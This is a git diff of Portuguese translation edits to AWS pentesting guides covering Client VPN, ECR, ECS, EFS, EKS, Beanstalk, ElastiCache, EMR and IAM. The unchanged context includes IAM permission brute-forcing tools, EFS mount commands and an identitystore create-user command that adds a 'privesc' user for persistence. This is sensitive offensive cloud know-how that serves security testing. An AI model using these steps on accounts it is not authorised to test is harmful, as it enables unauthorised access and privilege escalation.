 - Normalmente usado para conexões regulares e de longo prazo e é cobrado com base na quantidade de dados transferidos pela conexão.
 4. **Client VPN Endpoint**:
-- Um endpoint de Client VPN é um recurso que você cria na AWS para habilitar e gerenciar sessões de VPN de cliente.
+- Um ponto de extremidade Client VPN é um recurso que você cria na AWS para habilitar e gerenciar sessões de VPN de cliente.
 - É usado para permitir que dispositivos individuais (como laptops, smartphones, etc.) se conectem de forma segura aos recursos da AWS ou à sua rede local.
 - Ele difere da VPN Site-to-Site na medida em que é projetado para clientes individuais, em vez de conectar redes inteiras.
 - Com o Client VPN, cada dispositivo cliente usa um software cliente VPN para estabelecer uma conexão segura.
@@ -152,36 +152,36 @@ Cada conexão VPN inclui dois túneis VPN que você pode usar simultaneamente pa
 - O tráfego IPv6 não é suportado para conexões VPN em um gateway privado virtual.
 - Uma conexão VPN da AWS não suporta a Descoberta de MTU de Caminho.
 
-Além disso, leve o seguinte em consideração ao usar a VPN Site-to-Site.
+Além disso, leve em consideração o seguinte ao usar a VPN Site-to-Site.
 
 - Ao conectar suas VPCs a uma rede local comum, recomendamos que você use blocos CIDR não sobrepostos para suas redes.
 
 ### Client VPN <a href="#what-is-components" id="what-is-components"></a>
 
-**Conecte-se do seu computador à sua VPC**
+**Conecte-se da sua máquina à sua VPC**
 
 #### Concepts
 
 - **Client VPN endpoint:** O recurso que você cria e configura para habilitar e gerenciar sessões de VPN de cliente. É o recurso onde todas as sessões de VPN de cliente são encerradas.
-- **Target network:** Uma rede alvo é a rede que você associa a um endpoint de Client VPN. **Uma subrede de uma VPC é uma rede alvo**. Associar uma subrede a um endpoint de Client VPN permite que você estabeleça sessões de VPN. Você pode associar várias subredes a um endpoint de Client VPN para alta disponibilidade. Todas as subredes devem ser da mesma VPC. Cada subrede deve pertencer a uma zona de disponibilidade diferente.
-- **Route**: Cada endpoint de Client VPN tem uma tabela de rotas que descreve as rotas de rede de destino disponíveis. Cada rota na tabela de rotas especifica o caminho para o tráfego para recursos ou redes específicas.
-- **Authorization rules:** Uma regra de autorização **restrige os usuários que podem acessar uma rede**. Para uma rede especificada, você configura o Active Directory ou o grupo do provedor de identidade (IdP) que tem permissão de acesso. Apenas usuários pertencentes a esse grupo podem acessar a rede especificada. **Por padrão, não há regras de autorização** e você deve configurar regras de autorização para permitir que os usuários acessem recursos e redes.
-- **Client:** O usuário final que se conecta ao endpoint de Client VPN para estabelecer uma sessão de VPN. Os usuários finais precisam baixar um cliente OpenVPN e usar o arquivo de configuração do Client VPN que você criou para estabelecer uma sessão de VPN.
-- **Client CIDR range:** Um intervalo de endereços IP do qual atribuir endereços IP de cliente. Cada conexão ao endpoint de Client VPN recebe um endereço IP exclusivo do intervalo CIDR do cliente. Você escolhe o intervalo CIDR do cliente, por exemplo, `10.2.0.0/16`.
+- **Target network:** Uma rede de destino é a rede que você associa a um ponto de extremidade Client VPN. **Uma subrede de uma VPC é uma rede de destino**. Associar uma subrede a um ponto de extremidade Client VPN permite que você estabeleça sessões de VPN. Você pode associar várias subredes a um ponto de extremidade Client VPN para alta disponibilidade. Todas as subredes devem ser da mesma VPC. Cada subrede deve pertencer a uma zona de disponibilidade diferente.
+- **Route**: Cada ponto de extremidade Client VPN tem uma tabela de rotas que descreve as rotas de rede de destino disponíveis. Cada rota na tabela de rotas especifica o caminho para o tráfego para recursos ou redes específicas.
+- **Authorization rules:** Uma regra de autorização **restringe os usuários que podem acessar uma rede**. Para uma rede especificada, você configura o Active Directory ou o grupo do provedor de identidade (IdP) que tem permissão de acesso. Apenas usuários pertencentes a esse grupo podem acessar a rede especificada. **Por padrão, não há regras de autorização** e você deve configurar regras de autorização para permitir que os usuários acessem recursos e redes.
+- **Client:** O usuário final conectando-se ao ponto de extremidade Client VPN para estabelecer uma sessão de VPN. Os usuários finais precisam baixar um cliente OpenVPN e usar o arquivo de configuração do Client VPN que você criou para estabelecer uma sessão de VPN.
+- **Client CIDR range:** Um intervalo de endereços IP do qual atribuir endereços IP de cliente. Cada conexão ao ponto de extremidade Client VPN recebe um endereço IP exclusivo do intervalo CIDR do cliente. Você escolhe o intervalo CIDR do cliente, por exemplo, `10.2.0.0/16`.
 - **Client VPN ports:** O Client VPN da AWS suporta as portas 443 e 1194 para TCP e UDP. O padrão é a porta 443.
-- **Client VPN network interfaces:** Quando você associa uma subrede ao seu endpoint de Client VPN, criamos interfaces de rede de Client VPN nessa subrede. **O tráfego enviado para a VPC a partir do endpoint de Client VPN é enviado através de uma interface de rede de Client VPN**. A tradução de endereço de rede de origem (SNAT) é então aplicada, onde o endereço IP de origem do intervalo CIDR do cliente é traduzido para o endereço IP da interface de rede do Client VPN.
-- **Connection logging:** Você pode habilitar o registro de conexões para seu endpoint de Client VPN para registrar eventos de conexão. Você pode usar essas informações para realizar investigações forenses, analisar como seu endpoint de Client VPN está sendo usado ou depurar problemas de conexão.
-- **Self-service portal:** Você pode habilitar um portal de autoatendimento para seu endpoint de Client VPN. Os clientes podem fazer login no portal baseado na web usando suas credenciais e baixar a versão mais recente do arquivo de configuração do endpoint de Client VPN, ou a versão mais recente do cliente fornecido pela AWS.
+- **Client VPN network interfaces:** Quando você associa uma subrede ao seu ponto de extremidade Client VPN, criamos interfaces de rede Client VPN nessa subrede. **O tráfego enviado para a VPC a partir do ponto de extremidade Client VPN é enviado através de uma interface de rede Client VPN**. A tradução de endereço de rede de origem (SNAT) é então aplicada, onde o endereço IP de origem do intervalo CIDR do cliente é traduzido para o endereço IP da interface de rede Client VPN.
+- **Connection logging:** Você pode habilitar o registro de conexões para seu ponto de extremidade Client VPN para registrar eventos de conexão. Você pode usar essas informações para realizar investigações, analisar como seu ponto de extremidade Client VPN está sendo usado ou depurar problemas de conexão.
+- **Self-service portal:** Você pode habilitar um portal de autoatendimento para seu ponto de extremidade Client VPN. Os clientes podem fazer login no portal baseado na web usando suas credenciais e baixar a versão mais recente do arquivo de configuração do ponto de extremidade Client VPN, ou a versão mais recente do cliente fornecido pela AWS.
 
 #### Limitations
 
-- **Os intervalos CIDR do cliente não podem se sobrepor ao CIDR local** da VPC na qual a subrede associada está localizada, ou a quaisquer rotas adicionadas manualmente à tabela de rotas do endpoint de Client VPN.
+- **Os intervalos CIDR do cliente não podem se sobrepor ao CIDR local** da VPC na qual a subrede associada está localizada, ou a quaisquer rotas adicionadas manualmente à tabela de rotas do ponto de extremidade Client VPN.
 - Os intervalos CIDR do cliente devem ter um tamanho de bloco de pelo **menos /22** e **não devem ser maiores que /12.**
-- Uma **parte dos endereços** no intervalo CIDR do cliente é usada para **suportar o modelo de disponibilidade** do endpoint de Client VPN e não pode ser atribuída a clientes. Portanto, recomendamos que você **atribua um bloco CIDR que contenha o dobro do número de endereços IP necessários** para habilitar o número máximo de conexões simultâneas que você planeja suportar no endpoint de Client VPN.
-- O **intervalo CIDR do cliente não pode ser alterado** após a criação do endpoint de Client VPN.
-- As **subredes** associadas a um endpoint de Client VPN **devem estar na mesma VPC**.
-- Você **não pode associar várias subredes da mesma Zona de Disponibilidade a um endpoint de Client VPN**.
-- Um endpoint de Client VPN **não suporta associações de subrede em uma VPC de locação dedicada**.
+- Uma **parte dos endereços** no intervalo CIDR do cliente é usada para **suportar o modelo de disponibilidade** do ponto de extremidade Client VPN e não pode ser atribuída a clientes. Portanto, recomendamos que você **atribua um bloco CIDR que contenha o dobro do número de endereços IP necessários** para habilitar o número máximo de conexões simultâneas que você planeja suportar no ponto de extremidade Client VPN.
+- O **intervalo CIDR do cliente não pode ser alterado** após a criação do ponto de extremidade Client VPN.
+- As **subredes** associadas a um ponto de extremidade Client VPN **devem estar na mesma VPC**.
+- Você **não pode associar várias subredes da mesma Zona de Disponibilidade a um ponto de extremidade Client VPN**.
+- Um ponto de extremidade Client VPN **não suporta associações de subrede em uma VPC de locação dedicada**.
 - O Client VPN suporta **tráfego IPv4** apenas.
 - O Client VPN **não é** compatível com os Padrões Federais de Processamento de Informações (**FIPS**).
 - Se a autenticação multifatorial (MFA) estiver desativada para seu Active Directory, uma senha de usuário não pode estar no seguinte formato.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
index f8efd7bfe..5154aea8e 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecr-enum.md
@@ -8,13 +8,13 @@
 
 #### Informações Básicas
 
-Amazon **Elastic Container Registry** (Amazon ECR) é um **serviço gerenciado de registro de imagens de contêiner**. Ele é projetado para fornecer um ambiente onde os clientes podem interagir com suas imagens de contêiner usando interfaces bem conhecidas. Especificamente, o uso do Docker CLI ou de qualquer cliente preferido é suportado, permitindo atividades como enviar, puxar e gerenciar imagens de contêiner.
+Amazon **Elastic Container Registry** (Amazon ECR) é um **serviço gerenciado de registro de imagens de contêiner**. Ele foi projetado para fornecer um ambiente onde os clientes podem interagir com suas imagens de contêiner usando interfaces bem conhecidas. Especificamente, o uso do Docker CLI ou de qualquer cliente preferido é suportado, permitindo atividades como envio, recebimento e gerenciamento de imagens de contêiner.
 
 ECR é composto por 2 tipos de objetos: **Registros** e **Repositórios**.
 
 **Registros**
 
-Toda conta AWS tem 2 registros: **Privado** e **Público**.
+Cada conta AWS possui 2 registros: **Privado** e **Público**.
 
 1. **Registros Privados**:
 
@@ -31,7 +31,7 @@ Toda conta AWS tem 2 registros: **Privado** e **Público**.
 
 2. **Registros Públicos**:
 
-- **Acessibilidade pública**: Imagens de contêiner armazenadas em um registro público do ECR são **acessíveis a qualquer pessoa na internet sem autenticação.**
+- **Acessibilidade pública**: Imagens de contêiner armazenadas em um registro Público do ECR são **acessíveis a qualquer pessoa na internet sem autenticação.**
 - O URI de um **repositório público** é como `public.ecr.aws/<random>/<name>`. Embora a parte `<random>` possa ser alterada pelo administrador para outra string mais fácil de lembrar.
 
 **Repositórios**
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
index 714c33d5e..0a001cd46 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-ecs-enum.md
@@ -6,19 +6,19 @@
 
 ### Informações Básicas
 
-Amazon **Elastic Container Services** ou ECS fornece uma plataforma para **hospedar aplicações containerizadas na nuvem**. ECS tem dois métodos de **implantação**, tipo de instância **EC2** e uma opção **serverless**, **Fargate**. O serviço **torna a execução de contêineres na nuvem muito fácil e sem dor**.
+Amazon **Elastic Container Services** ou ECS fornece uma plataforma para **hospedar aplicações conteinerizadas na nuvem**. ECS tem dois métodos de **implantação**, tipo de instância **EC2** e uma opção **serverless**, **Fargate**. O serviço **torna a execução de contêineres na nuvem muito fácil e sem dor**.
 
 ECS opera usando os seguintes três blocos de construção: **Clusters**, **Serviços** e **Definições de Tarefas**.
 
-- **Clusters** são **grupos de contêineres** que estão rodando na nuvem. Como mencionado anteriormente, existem dois tipos de lançamento para contêineres, EC2 e Fargate. A AWS define o tipo de lançamento **EC2** como permitindo que os clientes “executem \[suas] aplicações containerizadas em um cluster de instâncias Amazon EC2 que \[eles] **gerenciam**”. **Fargate** é semelhante e é definido como “\[permitindo] que você execute suas aplicações containerizadas **sem a necessidade de provisionar e gerenciar** a infraestrutura de backend”.
+- **Clusters** são **grupos de contêineres** que estão rodando na nuvem. Como mencionado anteriormente, existem dois tipos de lançamento para contêineres, EC2 e Fargate. A AWS define o tipo de lançamento **EC2** como permitindo que os clientes “executem \[suas] aplicações conteinerizadas em um cluster de instâncias Amazon EC2 que \[eles] **gerenciam**”. **Fargate** é semelhante e é definido como “\[permitindo] que você execute suas aplicações conteinerizadas **sem a necessidade de provisionar e gerenciar** a infraestrutura de backend”.
 - **Serviços** são criados dentro de um cluster e responsáveis por **executar as tarefas**. Dentro de uma definição de serviço **você define o número de tarefas a serem executadas, escalonamento automático, provedor de capacidade (Fargate/EC2/Externo),** informações de **rede** como VPCs, sub-redes e grupos de segurança.
 - Existem **2 tipos de aplicações**:
 - **Serviço**: Um grupo de tarefas lidando com um trabalho computacional de longa duração que pode ser interrompido e reiniciado. Por exemplo, uma aplicação web.
-- **Tarefa**: Uma tarefa independente que é executada e termina. Por exemplo, um trabalho em lote.
+- **Tarefa**: Uma tarefa independente que é executada e finalizada. Por exemplo, um trabalho em lote.
 - Entre as aplicações de serviço, existem **2 tipos de agendadores de serviço**:
 - [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): A estratégia de agendamento de réplica coloca e **mantém o número desejado** de tarefas em todo o seu cluster. Se por algum motivo uma tarefa for encerrada, uma nova é lançada no mesmo ou em um nó diferente.
 - [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Implanta exatamente uma tarefa em cada instância de contêiner ativa que possui os requisitos necessários. Não há necessidade de especificar um número desejado de tarefas, uma estratégia de colocação de tarefas ou usar políticas de Escalonamento Automático de Serviço.
-- **Definições de Tarefas** são responsáveis por **definir quais contêineres serão executados** e os vários parâmetros que serão configurados com os contêineres, como **mapeamentos de porta** com o host, **variáveis de ambiente**, Docker **entrypoint**...
+- **Definições de Tarefas** são responsáveis por **definir quais contêineres serão executados** e os vários parâmetros que serão configurados com os contêineres, como **mapeamentos de porta** com o host, **variáveis de ambiente**, **entrypoint** do Docker...
 - Verifique **variáveis de ambiente para informações sensíveis**!
 
 ### Dados Sensíveis em Definições de Tarefas
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
index ef727eaaf..fa8099a03 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-efs-enum.md
@@ -55,10 +55,10 @@ sudo yum install amazon-efs-utils # If centos
 sudo apt-get install amazon-efs-utils # If ubuntu
 sudo mount -t efs <file-system-id/EFS DNS name>:/ /efs/
 ```
-### IAM Access
+### Acesso IAM
 
-Por **padrão**, qualquer pessoa com **acesso à rede ao EFS** poderá montar, **ler e escrever nele, mesmo como usuário root**. No entanto, políticas de sistema de arquivos podem estar em vigor **permitindo apenas que principais com permissões específicas** acessem.\
-Por exemplo, esta política de sistema de arquivos **não permitirá nem mesmo montar** o sistema de arquivos se você **não tiver a permissão IAM**:
+Por **padrão**, qualquer pessoa com **acesso à rede do EFS** poderá montar, **ler e escrever nele, mesmo como usuário root**. No entanto, políticas de Sistema de Arquivos podem estar em vigor **permitindo apenas que principais com permissões específicas** acessem.\
+Por exemplo, esta política de Sistema de Arquivos **não permitirá nem mesmo montar** o sistema de arquivos se você **não tiver a permissão IAM**:
 ```json
 {
 "Version": "2012-10-17",
@@ -92,13 +92,13 @@ sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
 # To use a different pforile from ~/.aws/credentials
 # You can use: -o tls,iam,awsprofile=namedprofile
 ```
-### Access Points
+### Pontos de Acesso
 
-**Os pontos de acesso** são **pontos de entrada** específicos de **aplicação** **em um sistema de arquivos EFS** que facilitam a gestão do acesso da aplicação a conjuntos de dados compartilhados.
+**Pontos de acesso** são pontos de entrada **específicos de aplicação** **em um sistema de arquivos EFS** que facilitam o gerenciamento do acesso da aplicação a conjuntos de dados compartilhados.
 
-Quando você cria um ponto de acesso, pode **especificar o proprietário e as permissões POSIX** para os arquivos e diretórios criados através do ponto de acesso. Você também pode **definir um diretório raiz personalizado** para o ponto de acesso, seja especificando um diretório existente ou criando um novo com as permissões desejadas. Isso permite que você **controle o acesso ao seu sistema de arquivos EFS com base em cada aplicação ou usuário**, facilitando a gestão e a segurança dos seus dados de arquivo compartilhados.
+Quando você cria um ponto de acesso, pode **especificar o proprietário e as permissões POSIX** para os arquivos e diretórios criados através do ponto de acesso. Você também pode **definir um diretório raiz personalizado** para o ponto de acesso, seja especificando um diretório existente ou criando um novo com as permissões desejadas. Isso permite que você **controle o acesso ao seu sistema de arquivos EFS com base em cada aplicação ou usuário**, facilitando o gerenciamento e a segurança dos seus dados de arquivo compartilhados.
 
-**Você pode montar o sistema de arquivos a partir de um ponto de acesso com algo como:**
+**Você pode montar o Sistema de Arquivos a partir de um ponto de acesso com algo como:**
 ```bash
 # Use IAM if you need to use iam permissions
 sudo mount -t efs -o tls,[iam],accesspoint=<access-point-id> \
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
index 2aaf59a28..5381b5c51 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-eks-enum.md
@@ -4,14 +4,14 @@
 
 ## EKS
 
-O Amazon Elastic Kubernetes Service (Amazon EKS) foi projetado para eliminar a necessidade de os usuários instalarem, operarem e gerenciarem seu próprio plano de controle ou nós do Kubernetes. Em vez disso, o Amazon EKS gerencia esses componentes, fornecendo uma maneira simplificada de implantar, gerenciar e escalar aplicações conteinerizadas usando Kubernetes na AWS.
+O Amazon Elastic Kubernetes Service (Amazon EKS) foi projetado para eliminar a necessidade de os usuários instalarem, operarem e gerenciarem seu próprio plano de controle ou nós do Kubernetes. Em vez disso, o Amazon EKS gerencia esses componentes, fornecendo uma maneira simplificada de implantar, gerenciar e escalar aplicativos conteinerizados usando Kubernetes na AWS.
 
-Aspectos chave do Amazon EKS incluem:
+Aspectos-chave do Amazon EKS incluem:
 
-1. **Plano de Controle Kubernetes Gerenciado**: O Amazon EKS automatiza tarefas críticas, como correção, provisionamento de nós e atualizações.
+1. **Plano de Controle Kubernetes Gerenciado**: O Amazon EKS automatiza tarefas críticas, como correções, provisionamento de nós e atualizações.
 2. **Integração com Serviços AWS**: Oferece integração perfeita com serviços AWS para computação, armazenamento, banco de dados e segurança.
 3. **Escalabilidade e Segurança**: O Amazon EKS é projetado para ser altamente disponível e seguro, fornecendo recursos como escalonamento automático e isolamento por design.
-4. **Compatibilidade com Kubernetes**: Aplicações executadas no Amazon EKS são totalmente compatíveis com aplicações executadas em qualquer ambiente Kubernetes padrão.
+4. **Compatibilidade com Kubernetes**: Aplicativos em execução no Amazon EKS são totalmente compatíveis com aplicativos em execução em qualquer ambiente Kubernetes padrão.
 
 #### Enumeration
 ```bash
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
index d60753821..d13eab987 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-elastic-beanstalk-enum.md
@@ -8,7 +8,7 @@ Amazon Elastic Beanstalk fornece uma plataforma simplificada para **implantar, g
 
 Elastic Beanstalk oferece uma maneira simples e flexível de **implantar suas aplicações na nuvem AWS**, sem a necessidade de se preocupar com a infraestrutura subjacente. Ele **automaticamente** lida com os detalhes de **provisionamento** de capacidade, **balanceamento** de carga, **escalonamento** e **monitoramento** da saúde da aplicação, permitindo que você se concentre em escrever e implantar seu código.
 
-A infraestrutura criada pelo Elastic Beanstalk é gerenciada por **Grupos de Autoscaling** no **EC2** (com um balanceador de carga). O que significa que, no final do dia, se você **comprometer o host**, deve saber sobre o EC2:
+A infraestrutura criada pelo Elastic Beanstalk é gerenciada por **Grupos de Autoscaling** em **EC2** (com um balanceador de carga). O que significa que, no final do dia, se você **comprometer o host**, você deve saber sobre o EC2:
 
 {{#ref}}
 aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -27,14 +27,14 @@ No AWS Elastic Beanstalk, os conceitos de "aplicação" e "ambiente" servem a pr
 #### Aplicação
 
 - Uma aplicação no Elastic Beanstalk é um **container lógico para o código-fonte, ambientes e configurações da sua aplicação**. Ela agrupa diferentes versões do código da sua aplicação e permite que você as gerencie como uma única entidade.
-- Quando você cria uma aplicação, fornece um nome e **descrição, mas nenhum recurso é provisionado** nesta fase. É simplesmente uma maneira de organizar e gerenciar seu código e recursos relacionados.
-- Você pode ter **várias versões de aplicação** dentro de uma aplicação. Cada versão corresponde a um lançamento específico do seu código, que pode ser implantado em um ou mais ambientes.
+- Ao criar uma aplicação, você fornece um nome e **descrição, mas nenhum recurso é provisionado** nesta fase. É simplesmente uma maneira de organizar e gerenciar seu código e recursos relacionados.
+- Você pode ter **múltiplas versões de aplicação** dentro de uma aplicação. Cada versão corresponde a um lançamento específico do seu código, que pode ser implantado em um ou mais ambientes.
 
 #### Ambiente
 
 - Um ambiente é uma **instância provisionada da sua aplicação** executando na infraestrutura da AWS. É **onde o código da sua aplicação é implantado e executado**. O Elastic Beanstalk provisiona os recursos necessários (por exemplo, instâncias EC2, balanceadores de carga, grupos de autoescalonamento, bancos de dados) com base na configuração do ambiente.
-- **Cada ambiente executa uma única versão da sua aplicação**, e você pode ter vários ambientes para diferentes propósitos, como desenvolvimento, teste, homologação e produção.
-- Quando você cria um ambiente, escolhe uma plataforma (por exemplo, Java, .NET, Node.js, etc.) e um tipo de ambiente (por exemplo, servidor web ou trabalhador). Você também pode personalizar a configuração do ambiente para controlar vários aspectos da infraestrutura e das configurações da aplicação.
+- **Cada ambiente executa uma única versão da sua aplicação**, e você pode ter múltiplos ambientes para diferentes propósitos, como desenvolvimento, teste, homologação e produção.
+- Ao criar um ambiente, você escolhe uma plataforma (por exemplo, Java, .NET, Node.js, etc.) e um tipo de ambiente (por exemplo, servidor web ou trabalhador). Você também pode personalizar a configuração do ambiente para controlar vários aspectos da infraestrutura e das configurações da aplicação.
 
 ### 2 tipos de Ambientes
 
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md
index 112865982..8bbf3dc8d 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-elasticache.md
@@ -6,7 +6,7 @@
 
 AWS ElastiCache é um **serviço de armazenamento de dados em memória e cache totalmente gerenciado** que fornece soluções de alto desempenho, baixa latência e escaláveis para aplicações. Ele suporta dois motores em memória de código aberto populares: **Redis e Memcached**. ElastiCache **simplifica** a **configuração**, **gerenciamento** e **manutenção** desses motores, permitindo que os desenvolvedores descarreguem tarefas que consomem muito tempo, como provisionamento, aplicação de patches, monitoramento e **backups**.
 
-### Enumeration
+### Enumeração
 ```bash
 # ElastiCache clusters
 ## Check the SecurityGroups to later check who can access
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
index d44d5347e..0bef6481b 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-emr-enum.md
@@ -4,7 +4,7 @@
 
 ## EMR
 
-O serviço Elastic MapReduce (EMR) da AWS, a partir da versão 4.8.0, introduziu um recurso de **configuração de segurança** que melhora a proteção de dados ao permitir que os usuários especifiquem configurações de criptografia para dados em repouso e em trânsito dentro dos clusters EMR, que são grupos escaláveis de instâncias EC2 projetadas para processar estruturas de big data como Apache Hadoop e Spark.
+O serviço Elastic MapReduce (EMR) da AWS, a partir da versão 4.8.0, introduziu um recurso de **configuração de segurança** que melhora a proteção de dados ao permitir que os usuários especifiquem configurações de criptografia para dados em repouso e em trânsito dentro dos clusters EMR, que são grupos escaláveis de instâncias EC2 projetados para processar frameworks de big data como Apache Hadoop e Spark.
 
 As principais características incluem:
 
@@ -12,7 +12,7 @@ As principais características incluem:
 - **Configuração Unificada de Chave Linux**: Criptografa volumes de cluster EBS. Os usuários podem optar pelo AWS Key Management Service (KMS) ou um provedor de chave personalizado.
 - **Criptografia HDFS de Código Aberto**: Oferece duas opções de criptografia para Hadoop:
 - Secure Hadoop RPC (Remote Procedure Call), configurado para privacidade, aproveitando a Simple Authentication Security Layer.
-- A criptografia de transferência de bloco HDFS, configurada como verdadeira, utiliza o algoritmo AES-256.
+- Criptografia de transferência de bloco HDFS, configurada como verdadeira, utiliza o algoritmo AES-256.
 - **Criptografia em Trânsito**: Foca em proteger dados durante a transferência. As opções incluem:
 - **Criptografia de Camada de Transporte de Código Aberto (TLS)**: A criptografia pode ser habilitada escolhendo um provedor de certificado:
 - **PEM**: Requer a criação manual e a agregação de certificados PEM em um arquivo zip, referenciado de um bucket S3.
@@ -29,7 +29,7 @@ Uma vez que um provedor de certificado TLS é integrado à configuração de seg
 - Utiliza TLS para criptografia.
 - **Spark**:
 - Emprega TLS para o protocolo Akka.
-- Usa Simple Authentication Security Layer e 3DES para o Serviço de Transferência de Blocos.
+- Usa Simple Authentication Security Layer e 3DES para o Serviço de Transferência de Bloco.
 - O serviço de embaralhamento externo é protegido com a Simple Authentication Security Layer.
 
 Esses recursos, coletivamente, melhoram a postura de segurança dos clusters EMR, especialmente em relação à proteção de dados durante as fases de armazenamento e transmissão.
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
index d32a1d697..4fc3609ad 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md
@@ -88,7 +88,7 @@ aws iam get-account-password-policy
 aws iam list-mfa-devices
 aws iam list-virtual-mfa-devices
 ```
-### Permissões Brute Force
+### Força Bruta de Permissões
 
 Se você estiver interessado em suas próprias permissões, mas não tiver acesso para consultar o IAM, você sempre pode forçá-las.
 
@@ -114,7 +114,7 @@ Se você encontrou **algumas permissões que seu usuário possui**, e você acha
 python3 aws-Perms2ManagedPolicies.py --profile myadmin --permissions-file example-permissions.txt
 ```
 > [!WARNING]
-> É possível "saber" se as permissões que você tem são concedidas por um papel gerenciado da AWS se você perceber que **você tem permissões sobre serviços que não são utilizados**, por exemplo.
+> É possível "saber" se as permissões que você tem são concedidas por um papel gerenciado da AWS se você ver que **você tem permissões sobre serviços que não são utilizados**, por exemplo.
 
 #### Cloudtrail2IAM
 
@@ -126,16 +126,16 @@ pip install -r requirements.txt
 python3 cloudtrail2IAM.py --prefix PREFIX --bucket_name BUCKET_NAME --profile PROFILE [--filter-name FILTER_NAME] [--threads THREADS]
 ```
 > [!WARNING]
-> Se você encontrar arquivos .tfstate (arquivos de estado do Terraform) ou arquivos do CloudFormation (geralmente são arquivos yaml localizados dentro de um bucket com o prefixo cf-templates), você também pode lê-los para encontrar a configuração do aws e descobrir quais permissões foram atribuídas a quem.
+> Se você encontrar .tfstate (arquivos de estado do Terraform) ou arquivos do CloudFormation (geralmente são arquivos yaml localizados dentro de um bucket com o prefixo cf-templates), você também pode lê-los para encontrar a configuração do aws e descobrir quais permissões foram atribuídas a quem.
 
 #### enumerate-iam
 
-Para usar a ferramenta [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), você primeiro precisa baixar todos os endpoints da API AWS, a partir dos quais o script **`generate_bruteforce_tests.py`** obterá todos os **endpoints "list\_", "describe\_" e "get\_"**. E finalmente, ele tentará **acessá-los** com as credenciais fornecidas e **indicar se funcionou**.
+Para usar a ferramenta [**https://github.com/andresriancho/enumerate-iam**](https://github.com/andresriancho/enumerate-iam), você primeiro precisa baixar todos os endpoints da API AWS, a partir dos quais o script **`generate_bruteforce_tests.py`** obterá todos os **"list\_", "describe\_" e "get\_" endpoints.** E finalmente, ele tentará **acessá-los** com as credenciais fornecidas e **indicar se funcionou**.
 
-(Na minha experiência, a **ferramenta trava em algum ponto**, [**veja esta correção**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) para tentar corrigir isso).
+(Com base na minha experiência, a **ferramenta trava em algum ponto**, [**veja esta correção**](https://github.com/andresriancho/enumerate-iam/pull/15/commits/77ad5b41216e3b5f1511d0c385da8cd5984c2d3c) para tentar corrigir isso).
 
 > [!WARNING]
-> Na minha experiência, esta ferramenta é como a anterior, mas funciona pior e verifica menos permissões.
+> Com base na minha experiência, esta ferramenta é como a anterior, mas funciona pior e verifica menos permissões.
 ```bash
 # Install tool
 git clone git@github.com:andresriancho/enumerate-iam.git
@@ -300,7 +300,7 @@ aws identitystore list-group-memberships --identity-store-id <store-id> --group-
 ## Get memberships or a user or a group
 aws identitystore list-group-memberships-for-member --identity-store-id <store-id> --member-id <member-id>
 ```
-### Local Enumeration
+### Enumeração Local
 
 É possível criar dentro da pasta `$HOME/.aws` o arquivo config para configurar perfis que são acessíveis via SSO, por exemplo:
 ```ini
@@ -363,10 +363,10 @@ external_id = 123456
 aws identitystore create-user --identity-store-id <store-id> --user-name privesc --display-name privesc --emails Value=sdkabflvwsljyclpma@tmmbt.net,Type=Work,Primary=True --name Formatted=privesc,FamilyName=privesc,GivenName=privesc
 ## After creating it try to login in the console using the selected username, you will receive an email with the code and then you will be able to select a password
 ```
-- Crie um grupo e atribua permissões a ele e defina um usuário controlado
+- Crie um grupo e atribua permissões a ele e defina um usuário controlado nele
 - Dê permissões extras a um usuário ou grupo controlado
 - Por padrão, apenas usuários com permissões da Conta de Gerenciamento poderão acessar e controlar o IAM Identity Center.
 
-No entanto, é possível, através do Administrador Delegado, permitir que usuários de uma conta diferente o gerenciem. Eles não terão exatamente as mesmas permissões, mas poderão realizar [**atividades de gerenciamento**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
+No entanto, é possível, via Delegate Administrator, permitir que usuários de uma conta diferente o gerenciem. Eles não terão exatamente as mesmas permissões, mas poderão realizar [**atividades de gerenciamento**](https://docs.aws.amazon.com/singlesignon/latest/userguide/delegated-admin.html).
 
